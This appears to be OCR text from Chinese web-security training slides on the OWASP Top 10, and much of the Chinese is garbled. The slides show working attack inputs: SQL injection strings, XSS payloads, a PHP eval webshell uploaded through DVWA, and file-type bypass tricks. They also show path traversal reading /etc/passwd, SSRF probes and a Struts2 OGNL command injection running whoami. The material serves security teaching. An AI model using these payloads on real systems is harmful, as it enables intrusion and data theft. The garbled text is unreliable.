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HTTP. HTTPS

HTML. CSS. XHTML. CGI. ASP. JSP. PHP---

IIS. Apache. WebSphere. Tomcat. WebLogic---
Windows. Linux. FreeBSD. SOLARIS. AIX. HP-Unix--
SQL Server. MySQL. DB2. Sybase. Access**:

CMS. SVN. GIT. FTP
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OWASP TOP10 2017/

>
A1 -7 T A1:2017 = EA
A2 - REH S HANENSEEE = A2:2017 =R S HHATE
A3 - BSUA (XSS) A A3:2017 -BUR(E B
A4 - FREMBEENRIIE [SA7E ] . U A4:2017 - XMLAMBSEHR (XXE) [#7]
A5 - ZEFLEHER N A5:2017 - REHVTRER] [55F]
——
A6 - BUR/E Bt 7 A6:2017 - ZAFEHR
A7 - ThEe VT HEERISE [SA4EIF ¢ | A7:2017 - EE3EHIA (XSS)
A8 - E5uiERIE (CSRF) A8:2017 - REEKIRFFIL [FT, KB THEX]
A9 — B &4 B AR A4 =» A9:2017 —fE & B AIRIA A M
A10 - RIBUEK E & F AR A10:2017 - AR K B EiFMMEE (3, kE THEX]




SQLVEN T

e PP T ARG T A, B RS E R e O R BT AW B
TN e S (B

il

2 SOLEPN S e e IR BRIR

H
H
3k
=
A
=)
(i
[o]
Tl

J AN




SQLYE NI T

i 53 2R

gy

- Boolean-based blind SQL injection (A /REYEN)
- Error-based SQL injection (FREEHIVEN)
- Time-based blind SQL injection (J& T B[R] ZEAREN)
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SQL?E‘E)\-?M%J

(RAERRELS

F1F
Username: admin E'}#
Password: admin@123 E
String query = "SELECT * FROM users WHERE userName ="
+ FFP&%EE + " AND password =
+ BEOEE +
ResultSet rs = stmt.execute(query); /
X ~ T —
TRANGE =S
admin XNEBHE RS
MNE: e o (aa
admin@12 . | |
3
N /

Select * from users where userName = ‘admin’ and password =

‘admin@123’

I




SQLFE A -SL4]

 RpEESLE

Username: admin
Password: admin@123

+ FP¥%E + "' AND password ="
+ BRER +

QesultSet rs = stmt.execute(query);

String query = "SELECT * FROM users WHERE userName ="

Select * from users where userName = ‘admin’

and password =

‘admin@123’ ;

and password =

Select * from users where userName = ‘admin’

I

and 0<>(select count(*) from admin) #’
‘admin@123’
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MSSQL: SELECT * FROM myTable WHERE myID = @myID
MySQL: SELECT * FROM myTable WHERE myID = ?myID
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Fa vl B AN IR VIR] (XSS-Cross Site Scripting)
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- 1. Reflected XSS (FE:T &FHIXSSH )

- 2. Stored XSS (FETIEAEMIXSSTLH)
- 3. DOM-based or local XSS (F:T-DOMEYAHIXSSHTH)
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JavaScript{ChZAbH, % 2fih 2 DOM XSS -

EEMERTE
A58 URL
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URL
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- T o = HoA

Bisearchsort="5%0d%0a%0d%0aalert{/X55/:v

B TEP) - 226 THO- @~ A @ EN 0 9

g T 5 ST SR gdss I =REhL (ERERERT O B

WME: TEEL

Bfs | BEmER | BEER | ERFRLER

[ =ERmse e
FiLEdlL&EN
input type="hidden” walus="0" id="totalCount” > " ERER ‘_lﬁ fR55/
input type="hidden” walue="1" id="pagelndex"/> POEAR
script type="textfjavascript” b ERE
ice = "1

war searchsort = ;. FIRE MR R0 A=

war searchzortby = o PR

var brandid = 7 ; v SERILE

war catid = 01 ;J , " ERLS

war contextlrl = * /mall’;

$ (document ). ready (function () { bR
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Burp Intruder Repeater Window Help

r Target M Spider TSCEHHE‘J’ Tinﬂuder T Fepeater T Seguencer T Decoder I Comparer TExtende: T{)ptiuﬂs TAIE:LE 1

|#| Request to http://127.0.0.1:80

[ Foward | | Drop | | Interceptis on \cti Comment this item

Params THeaders T Hex ]

POST /dvwa vulnerabilities/upleoad/ HITP/ 1.1

Host: 127.0.0.1

User—Agent: Mozilla/5.0 (Windeows NT 6.3; WOW64:; 1v:49.0) Gecko/20100101 Firefox/49.0
Sccept: text/html, application/zhtml+znl, application/znl;g=0. 9, /% =0, 8
Accept—Language: zh-CH. zh;g=0. 8, en-US;g=0. 5, en;q=0. 3

Accept—-Encoding: gzip. deflate

Referer: http: /F127.0.0. 1/ dvwa/vulnerabilities/upload/

Cookie: securitv=low; a8743_times=1; mMwT_2132_saltkew=Lk8CosFVo, mivT_2132_lastvisit=1476600107; PHPSESSID=0ul3gt3llrfellanglfldenTlid
Comnection: keep-alive

Upgrade—Inzecure-Requests: 1

Content—-Type: multipart/form—data; heoundary 224612945631028
Content—-Length: 434

224612945631028
Content-Disposition: form—data; name="MAYX FILE SIZE”

100000

224612945631026]
Content—Disposition: form—data; name="upleoaded”; filename="1.php"

Content-Type: application/z—php \

“Heval request i emd” )%

224612945631028
Content-Disposition: ferm—data; name="Upload”

Upload

224612045631026——




.#| Request to http://127.0.0.1:80

| Fowad ||  Drop

Params THeadem THex ]

rent this item

POST /fdvwa/vulnerabilities/upload/ HTTE/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT £€.3; WOWE4; rwv:49.0) Gecko/IZ0l00l01l Firefox/49.0
Aocept: text/html, application/=html4xml, application/xml;q=0.9, */*;q=0.8
Aocept-Language : zh-CH, zh; qg=0.8,en-U3;q=0.5,en;q=0.3
Aocept-Encoding: gzip, deflate
Peferer: http://127.0.0. L/ dvwa/vulnerabilities/upload/
Cookie: security=medium; a8743 tiwes=1l; mvT 2132 salckey=kSC5sFVo; mlvT 2132 lastvisit=1476600107;
PHPSESSID=cgks lkwdfoB85Zcemelbeps8a73
Connection: keep-aliwve
Upgrade-Insecure—-ERequests: 1
23B902127011900

23880z127011%00
Content-Disposition: form-data; name="MAX FILE STZE"

23890z2127011200
Content-Disposition: form-data: name="uploaded": filename="1.php"
Content-Type: application/x—php

I - -
<?php Beval (§ POST['cmd']):?> i Egzﬁﬁlmage‘!-}peg

23gg0zZ1z7011200
Content-Disposition: form-data; name="Upload"”

23890Z1zZ7011500--
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. JPEG:. JPE;. JPG: 7 JPGGra
phic File”

.gif:

. Z1p:

7 GIF 89A”

7 7ip Compressed”

test.php -

IHE @EE BROQ SEW BHE
gif89a
<?php

I*************i***************************************************************

S=======S=============s %-Bc'eﬁﬁ ﬂ:ﬂkﬁfﬁﬁ% y ]ﬁﬁi—ﬁ]]ﬁ %_]:‘,'ZfiAi
RAERERLDTASEERFELHEE.
iR 53 —RET: Sniper\Super-HeilkEvin1986\saiy\wofeiwo .

REFARAEAN. 2Bil. SEARITRROMZHE!
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e asa Ml cer

« aSp M pHp

S\g A - IE http://192. 168. 16. 195/xcop/modul es/system/admin. php
x

L@ @EE FEQW H@EXe IAQ ®Ho

& e @ xoorsiE S EEIUL hiveed. con] - B

Bk LR

A EHEMIMESL: application/octet-stream



11S6.0fFtTiR:R Apachef#tfrimiE Nginx <8.03f##friEiR

* /xx.asp/xx.jpg « test.php.x1.x2.x3 * /xX.jpg%00.php

» /xx.asa;.jpg

e /xx.asa /xx.cer /xx.cdx
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A FHZ B AL Webshell . 7 B Az At 3
— RN, RIEIEEER (HE) %Q%KMH&K s PR

PP

il S

EEhL | ARBBER |

= AU RE WS BT ik

| el -

/configs/2011.php

MEIRIE

UHE* rbEEE | os Bl RuEE @ v [@5E e FRESEE v B SR - 2Es B EEEE B BEUEE @ MAhh 2 2URIESHERIES..

fi -8 -

| = - WEP) -

225 v
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) file -
E .E—"'Lrﬂ
= §_144.3}

B Logout | File Manager | MYSQL Manager | MySQL Uplead & Download | Execute Command | PHP Yariable | Port Scan | Security information | Eval PHE Code | Back Connect

File Manager - Current disk free 11.99 MB of 2.59 GB (42.3%)

Swwwiwebidefault! - 0755 / drasor-xr-x / waww (Writable)

WebRoot | ScriptPath | View All | View Writable ( Directory | File ) | Create Directory | Create File

Find string in files(current folder): I:Iﬁrpe PhP.cgi.pl asp.incs, ht [7] Regular expressions

Filename Last modified Size

= Parent Directory

[ ) 2013-07-23 09:14:29 Stat
[[] 360safe 2014-06-13 081346 Stat
] CuPlayer 2014-06-14 15:54:27 Stat
[ a 2014-06-14 19:42:27 Stat
[F]  about 2014-06-15 01:59:12 Stat
Fl ad 2014-06-09 15:13:12 Stat
] api 2014-06-05 10:07:00 Stat
[[]  archives 2014-06-20 21:04:50 Stat

Chmod | Perms

0755 | drwsr-xr-x / wiww
0755 | dower-xr-x / root
0755 | drwsr-xr-x / www

0755 / dowoer=xr-x / www

0755 | dowor-xr-x / www

0755 | drwer-xr-x / root
0755 | dowsr-xr-x / www

0755 / dowsr-xr-x / www

Linux web2 2.6.18-164.el5PAE #1 SMP Tue Aug 18 15:59:11 EDT 2009 i686 / User: 1000 (www )/ Group: 1000 { www

. E

"y

B |@

Action

Rename
Rename
Rename
Eename

Eename

Eename

Rename

Eename

K

{HH

PHF 5.2 17p1/ Safe Mode:Mi

i
B



(NERR]

@RequestMapping (value = "/uplocad.do", method = RequestMethod.POST)
public @ResponseBody JSONObject handleUploadData (ERequestParam("file") CommonsMultipartFile
Map<String,Object> map = new HashMap<String, Object>():
map.put ("info", " L{EEM);
if (!file.isEmpty()) {
String suffix[] = {"jsp","php","asp",'aspx")://iﬁﬁﬁﬁﬂﬁﬂﬁ%?ﬁggﬁﬁiﬁrfﬂ
String suffix2[] = (" ","pnq",'b@','gif')://iﬁﬂegﬂﬁgﬁﬁ’ﬂ
String path = this.servletContext.getRealPath({*/upload/™): // ERFEMTFMWES
Sctring fileName = tile.qetonqinalrnenane()://akmgpaiﬁﬂtlxﬁmxﬁg
String fileType = tileﬂane.substringdgileﬂame.index011'.“ib://iEHRE%gg
Sctring fileSuffix = tileuame.substrlnq(tileNane.indeth('.')+1)://iiﬂ?f%gg
for (String s :suttix)(//?.‘gﬁﬁﬂ

if (s.equals g.‘.ileSutﬂx%l) {
map.put ("info", " BABE "

return JSONObject. fromObject (map) ;

}
}
for(String s :suffix2){
if(s.equals(fileSuffix)){
System.out.println("path:"+path+"/"+fileName);
File file2 = jnew File (path, fileName):| // F2— 1 fF
try {
file.getFilelItem() .write (file2); //1%1%31)2#5)\%5!&‘]?{#@
} catch (Exception e) {
e.printStackTrace():

}




fit iR T %

ffileName.indexOf( “.” )i plifileName.lastindexOf( “.” )

s.equals(fileSuffix) i iis.equalslgnoreCase(fileSuffix) B Z & K/NE
it fileSuffix 717 # # il /N 5 s.equals(fileSuffix.toLowerCase())
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HTTP://195.xxx.xxx.xxx/adms|FP/billmanage/upFileResult.action?cmd=d

ownload&po.errorFile=XXX.PDF
g AN 7 ||

SR EARFII A
nal- EF c— .

e #8: Adobe Acrobat Document, 50.5KB
FE: www.allemn - m 5.0

| T || #x©® | [ B&E 7

HIE

o

0 BRI
28
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R TR

&) Downtcadceruoerios (2 DownkosdFisPageiow ...

+23 public class DownLoadFilePage extends HtmlPage {

24
25%

@Override
public String print(HcctpServlietRequest req, HttpServlietResponse resp)

throws Exception {
[Stzing names = reqg.getParameter ("name");| TEAEE
File file = new File(InitServlet.WEB SITE PATH + Constant.DOWNLOAD PATH + "/" + names); AAUS{Z
tf(!::le.exza:s())(

Pubmn.ajaxPrintC('x#z;TiEo ", resp);

return null;

}
resp.sectContentType ("application/force-download”);
BufferedInputStream in = new BufferedInputStream(new FilelnputStream(file));
resp.setHeader ("Content-length®, String.valueOf(in.available())):
resp.setHeader ("content-disposition®™, "attachment;filename=" + names):;
BufferedOutputStream out = new BufferedOutputStream(resp
.getOutpuctStream()):
readAndWrite(in, out):
freeee DR T HAE Tt eennnnney
Properties prop = new Properties():;
prop.load(new InputStreamReader (new FileInputStream(InitServlet.CONTENT REALPATH
+ "config.properties®™), "ucf-8v)):
prop.sectProperty ("DOWNLOAD CNTI", String.valueOf(Integer.valueOf(prop.getProperty ("DOWNLOAD CNI™))+1)):
prop.store (new OutputStreamWriter (new FileOutputStream(InitServlet.CONTENT REALPATH
+ "config.properties®), "ucf-8"), null);
InitServlet.getSystemParms (prop) :

freneeiDR T RRBE R e ennnss

return null;
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- 15*7:1%5;%_'&15“
HTTP://195.xxx.xxx.xxx/admsl|FP/billmanage/upFileResult.action?cmd=d
ownload&po.errorFile=../../../..[..[..]..]..]../etc/passwd

root:x:0:0:root:/root:/binbash bin:x:1:1:bin:/bin:/shin/molozin daemon:x:2:2:daemon:/shin:/shin/nolozin

St |I|| ”“I“I‘lll‘l\ll
131104002232

nobody::99:99:N

ommer :Sdev: /shin

OProfile: /home/o i 5 il";',.- - B S BETS l—

nfsnobody:x:6553 | TR R

shutdowm:x:6:0:s
mall:x:B:12:mail
operator:x:11:0:

gopher:x:13:30:¢g

message bus:/ifg 2”13;3_’?‘ | S e A Gl 36 ( FE 1{{:'
mailnull:x:47:47 s

separated S5H:/v idiii Jeecn i il BASEER: ko BUSERABIEL 07A 120 -07 A 151
hal dacman -z 626 i 11 e HH (-.-02-01 . M

gdmrx:42:42: 1 /va | [Eg [ HGEHTAR fma | GEPFARR

oracle:x:500:500

ik 150 101012 ——— L Bl

£ AEE  poloo7 HE AR P2

TR, et Uy Bl FE Al b s L
e R o e ] 1 R P ERLE
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Burp Intruder Repeater Window Help

« BEIEREHES x ) O Lhtml X

€ Cc = B
EOEE A . e

BIELS

CH A

Hm |

srcurl=687T4747| e
Hr_lpvt_dbe0cB ' - FhS B pkIh !

Connection: cli ‘\ ‘._'
Content-Type: 1 \
Content-Length 4 " s st

Content-Dispos
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HTTP://www.xxx.com/uddiexplorer/SearchPublicRegistries.jsp?operator=HTTP://192.168.165.143:8
O&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&¢txtSearchfor=8&selfor=Business+locati
on&btnSubmit=Search

BEA Weblogic Server 10.3.0.0
UDDI Explorer

Search public registries

Function Public Reqgistry:  Ten -
Search Public Registnes
@ Search by business name zdf

Search Private Registry

Publish Private Reqis Search by key

Modify Private Registry Search for N Basinezs locutiom -
Setup UDDI Explorer (uBnch

An error has occurred
Explarer Help weblc-gi|:.uddi.cliem.stn_lctures.exceptjon.}(}dL_SaapEmeptinn']Received a response from url: http: /192 168 165. 143'90|whi|:h. did not have a valid SOAP
e content-type. text/html charsel=UTF-8 /

BEA WebLogic Server 10.3.0.0
UDDI Explorer

Search public registries

Famcticn Public Registry: 1en =
Search Public Registries
@ Search by business name sdf

Search Private Registry

Publish Private Registry Search by key
Modify Private Registry € Search for in Business location =
Setup UDDI Explorer

An error has occurred
Exolorer Helo weblogic.uddi.client structures.exception XML_SoapException] Tried all- '1' addresses, but could not connect over HTTP to server: '192.168.165.146', port: '23' | seoosos
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HTTP://xx.xx.xx.xx:8080/main/QueryMainAction.action?redirect:%25{new
java.lang.StringBuffer().append(new java.io.BufferedReader(new

java.io.lInputStreamReader(new+java.lang.ProcessBuilder({'whoami'}).start().getInputS
tream())).re )
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Bzt - |h1‘tp:h"1 0.68.28.1:8080/main/QueryMainAction.action
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FISEEMIERE 2 DitomcatGwebapps\ROOT
java.nome: C:\Program Files (x86)\Java\jred
javaversion: 1.6.0_37

os.name: Windows Server 2008

os.arch: x86

as.version: 6.0

user.name: Administrator

user.dir D:tomcaté

java.class.version: 50.0

java.class.path: Dtomcaté\binbootstrap.jar,Dtomcatéibintomeat-julijar
java library.path: D:Mtomcat@ibin, CWindows\SunJavaibin,CWindows\system32; C:Windoy
Windows\system 32, C:Windows; C:\Windows\System32Wbem;.
file.separator: |

path.separator: ;

java.vendaor: Sun Microsystems Inc.

java.vendor.url: hitp:ijava.sun.com/

javawvm.specificationversion: 1.0

javavm.specification.vendor: Sun Microsystems Inc.
javavm.specification.name: Java Virtual Machine Specification
javavmuyersion: 20.12-b01

javavmyendar: Sun Microsystems Inc.

javavm.name: Java HotSpot(TM) Client VM

java.specification.version: 1.6

java.specification.vender:
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userhome: ClJsers\ddministrator [
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=5 C:
[} sRecycle Bin
o= 5 Boot
[y bootmar
[} BOOTSECT.BAK
& ] cnooc
[} Documents and Settings
[} pagefile.sys
[ PerfLogs
[} Program Files
o= [ Program Files (xB6)
[} ProgramData
D System Volume Information
o= ] Users
) windows
2927777

=3 D:

[} SRECYCLE.BIN
o= = cnooc
o= [ softback

[y tmp
¢ [ tomcats
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2003F2 8250  12:55 1366 activepass. asp Yoma | w@ | oeiwmel | =H® | o |
2002212208  17:49 13429 admin_address. asp FEEBIRIRRT » MERIZRBT
o002 128268 0:10 14822 admin_admin. asp i%‘*ﬁgﬁfgi%
200341 H7H 10:5% 7157 admin ads. asp L 147‘%[%
so02dE12 A8 18:17 15068 admin_alldel. asp C EEEE @ﬁ HTTP PUT
200341 218 22139 E012 admin BackupData. asp
o003E1 A21H 22:39 5130 admin BackupDatal. asp FHlEE C): £ Rt A
2002412 8208 17:48 4571 admin badword. asp
200328118 21:53 SO58 sdmin Barch.ass ﬁ o . B 47 ] %ﬂf‘m 2
zo02dF12H208  17:51 8249 admin bbsface. asp M/ J%
2003F1ATH  11:11 63002 admin_board. asp Lot (ELELE \jﬁj\yﬁ)
200341 8 208 23 :50 65963 admin_ boardset. asp I B E)
20032 H268 10:41 19712 admin BoardSetting. asp FRRERE
lc:sone —v —n 1.1.1.188 88 kit r&mﬁ %‘%Eﬁji’:ﬂ
CUNKHOWN> [1.1.1.1881 88 <?> open izt SERIL Web Eh
OPTIONS = HTTP/1.8 TR ) R — = AEE ©).
TTP/1.1 208 OK R AR () mEw |
lFerver: Microsoft-I1IS5-5.8 :
: Tue, B9 Dec 28688 B7:28:57 GMI
lContent—Length: @

iccept—Ranges:
DASL: <DAU:=ql>

hytes

ic:z OPTIONS.
WINLOCK,. SEARCH
Allow: OPTIONS. TRACE.
LOCK, SEARCH
jCache—Control: private

TRACE. GET. HEAD. DELETE. PUT. POST. COPY. MOUE. MKCOL. PROPFIND,. PROPPATCH. LOCK.

GET. HEAD, DELETE. PUT. POST. COPY, MOUE. MKCOL. PROPFIND. FROFPPATCH.

LOCK.
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Response

HTTP/1.1 200 OK B T DAVER, FFaf
Date: Thu, 04 Sep 2014 C ﬂl:ﬁ-PUT‘ DELETE%

Server: Microsoft-I1S/6.
X-Powered-By: ASP.NET fﬁ: F&FE

MS-Author-Via: DAV
Content-Length: [

rublic: OFTIONS, IRACE, GEI, HEAD, DELEIE, PUI, POSI,
OPY, MCVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK,
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o B —. svn M entries 3 J& FE Fx T AN IR SR
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FLAERRER, 22 E AR 4 oN. svn MIBROC PR, 3o o o AR D
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MR RWEE ZFENV MEEEl) IR EBEIH)
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dir

13379

syn:/ /9. 1. 74. 113/YinHe/galaxy_mall/WebRoot/trade
svn:/ /9. 1. 74,113

2014-08-18T10:14:27. 1718752
13379
WenJinJin

16e4£800-2f593—-e74d-8£08-0fc026cTabv2
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file
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BE B ) A AR T, SYNPZAE R svn H 3 RIS T PL.svn-base4t & E‘J?ﬁﬁﬁ%i#%’]ﬂi (i
FRASSVN EAK B8 42 Ntext-base H 3%, miASSYN Npristine H %) » W ARG #33% A N2 )5
ST, AT LB RS SRS .

;T,’ http:// WWEEEEY galaxy_mall/kh/.svn/text-base/forgetPwd_step3.jsp.svn-base L2~ d || & S
VP WEE =BV #EEER) IBM EEH)

<%l page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%(ltaglib uri="http://java.sun.com/jap/jstl/core” prefix="c" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN™ "http://www.w3.org/TR/xhtmll/DID/xhtmll-transitional..dtd™>
<html xmlnz="http://www.w3.org/1999/xhtml">

<hsad>

<meta http-equiv="Content-Tvpe" content="text/html; charsect=utf-8" />

<meta http-equiv="X¥-UA-Compatible" content="IE=EmulateIE7" />

<%@ include £ile="/common/base.jap"i>

ctitle> MR cicle>

<link href="%!pageContext.request.contextPathl//ces/glokbal.ces" rel="stylesheet" type="text/cas" />

<script type="text/javascript" src="$%{pageContext.reguest.contextPath}/js/trade/forgetPwd step3.ja"></acript>
</head>

<hocdy>
<jap:include page="/common/top common.jsp" S>
<div clas=="main">
<div class="rightdiv"™ style="float:mone;">
<div class="rightdiv title">HEIREM</div>
<table border="0" cellapacing="0" cellpadding="0" class="rightdiv_ tabkle">

“tri
<tdrenbep:</td>
<td>
<input type="checkibox" name="checkbox" id="dealPwd" checked="checked" onclick="fundbindTrade()"/> HE=ERER
<input type="checkbox" name="checklbox2" id="fundPwd" checked="checked" oncli ck="fundﬂrcTradE{}"f}iﬁﬂ] SEEN
<ftd>
<tdrEnbap;</td>
<ftr>

<tr id="deal">

e el Aste_mARE W o7 o w1 —ma HEFTBETRIO . - .
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public woid doPost (HoctpServletRequest request, HttpServletResponse rest

throws ServletException, IOException {
1f (request.getSes=sion{troe) .gethttribute {("manager™)
response . gendRedirect ("noright.html™) ;

= null) {

retorm.

StudentManagerServices service = new StudentManagerServices{():

request.setCharacterEncoding ("UTF-8") ;

response.setCharacterEncoding ("UTF-8") ;

String action = request.getParameter{™action™);

if ("add"™ .equals=s (action) ) {
String id = request.getParameter ("studentid™);
String name = reguest.getParameter ("studentname");
SLring sex = request.getParameter("studentsex™):
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iRequestMapping(value = "/delete/{addrId}")
public Object remove(@PathVariable Long addrId){

Map<String, Object> respMap = new HashMap<String, Object>();

if (WebUtils.islogged()) {

this.addressService.remaveUserﬂddress(addrIdJIwEhUtils.getLﬂggEdUSEPId{331

respMap.put{Constants
respMap.put{Constants
telsef
respMap.put(Constants
respMap.put(Constants

¥

return respMap;

.RESP_STATUS CODE KEY, Constants.RESP STATUS CODE SUCCESS);
MESSAGE , "st- ! ") ;

.RESP_STATUS CODE KEY, Constants.RESP STATUS CODE FAIL);

.ERROR , "AF#AEs. HEatslk: " );
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